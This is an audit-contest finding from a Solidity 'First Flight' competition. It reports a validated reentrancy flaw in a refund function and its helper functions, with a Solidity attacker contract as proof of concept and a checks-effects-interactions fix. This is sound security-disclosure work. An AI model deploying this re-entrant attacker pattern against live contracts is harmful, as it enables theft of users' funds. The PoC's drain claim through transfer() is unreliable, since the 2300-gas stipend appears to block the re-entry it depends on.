Christmas Dinner
First Flight #31
Beginner FriendlyFoundrySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

The refund function, along with internal functions such as _refundERC20 and _refundETH, are vulnerable to reentrancy attacks

eth0x

Summary

The primary goal of the refund function is to facilitate the return of funds to the user.

Vulnerability Details

The refund function has modifier nonReentrantwhich is custom implementation for guard against the reetrancy attack, Unfortunitly this modifier has vulnerability because not set proprly lockedflag status - not protoct prperly agenst this attack. In the fuction refundthere are two inner functions _refundERC20and _refundETHwhich not follow the CEI pattern and are vulnerable for the reetrancy attack. In the function _refundERC20 the balances for tokens are set after safeTransfercall.

function _refundERC20(address _to) internal {
i_WETH.safeTransfer(_to, balances[_to][address(i_WETH)]);
i_WBTC.safeTransfer(_to, balances[_to][address(i_WBTC)]);
i_USDC.safeTransfer(_to, balances[_to][address(i_USDC)]);
balances[_to][address(i_USDC)] = 0;
balances[_to][address(i_WBTC)] = 0;
balances[_to][address(i_WETH)] = 0;
}

Similar sitautaion has place in the _refundETHwhich is the most dangerouse.

function _refundETH(address payable _to) internal {
uint256 refundValue = etherBalance[_to];
_to.transfer(refundValue);
etherBalance[_to] = 0;
}

Please check POC

pragma solidity ^0.8.0;
​
interface IVulnerableContract {
function deposit() external payable;
function refund() external;
}
​
contract MaliciousContract {
IVulnerableContract public vulnerableContract;
​
constructor(address _vulnerableContract) {
vulnerableContract = IVulnerableContract(_vulnerableContract);
}
​
function attack() external payable {
require(msg.value > 0, "Send some ETH to attack");
vulnerableContract.deposit{value: msg.value}();
vulnerableContract.refund();
}
​
receive() external payable {
if (address(vulnerableContract).balance > 0) {
vulnerableContract.refund();
}
}
}
​

When a vulnerable client calls the refund function, which in turn calls _refundETH, the transfer is intercepted by the receive function in the MaliciousContract. The receive function then calls refund() again, allowing the attacker to drain all ETH funds."

Impact

All ETH founds from the protocl can be hacked.

Tools Used

manual review

Recommendations

Please follow the CEI pattern especialy for the _refundETH function.

function _refundETH(address payable _to) internal {
uint256 refundValue = etherBalance[_to];
// @audit change order of etherBalance[_to] = 0;
etherBalance[_to] = 0;
_to.transfer(refundValue);
}

Alternatively, you can use OpenZeppelin's implementation for the nonReentrant guard. OpenZeppelin's solutions are thoroughly tested and widely adopted in the industry, ensuring a high level of security and reliability for your smart contracts. Using their nonReentrant modifier will help protect your contract from reentrancy attacks and avoid potential vulnerabilities.

Updates

Lead Judging Commences

0xtimefliez Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

mutex lock incomplete

0xtimefliez Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

mutex lock incomplete

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.